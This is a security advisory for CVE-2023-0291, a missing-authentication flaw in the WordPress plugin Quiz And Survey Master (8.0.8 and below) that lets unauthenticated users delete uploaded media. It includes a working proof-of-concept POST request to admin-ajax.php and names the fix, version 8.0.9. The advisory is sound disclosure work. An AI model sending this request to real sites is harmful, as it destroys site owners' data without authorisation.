WordPress Quiz And Survey Master 8.0.8 Media Deletion Vulnerability

1. ADVISORY INFORMATION
=======================
Product:        Quiz And Survey Master
Vendor URL:     https://wordpress.org/plugins/quiz-master-next/
Type:           Missing Authentication for Critical Function [CWE-306]
Date found:     2023-01-13
Date published: 2023-02-08
CVSSv3 Score:   7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
CVE:            CVE-2023-0291


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Quiz And Survey Master 8.0.8 and below


4. INTRODUCTION
===============
Quiz and Survey Master is the easiest WordPress Quiz Plugin which can be used
to create engaging content to drive traffic and increase user engagement.
Everything from viral quiz, trivia quiz, customer satisfaction surveys to employee
surveys. This plugin is the ultimate marketing tool for your website.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The plugin offers the ajax action "qsm_remove_file_fd_question" to unauthenticated
users which accepts a "media_id" parameter pointing to a any item uploaded through
WordPress' media upload functionality. However, this "media_id" is afterward used
in a forced wp_delete_attachment() call ultimately deleteing the media from the
WordPress instance.

Successful exploits can allow an unauthenticated attacker to delete any (and all)
uploaded WordPress media files.


6. PROOF OF CONCEPT
===================
The following Proof-of-Concept would delete the uploaded media with the ID "1":

POST /wp-admin/admin-ajax.php HTTP/2
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

action=qsm_remove_file_fd_question&media_id=1


7. SOLUTION
===========
Update to version 8.0.9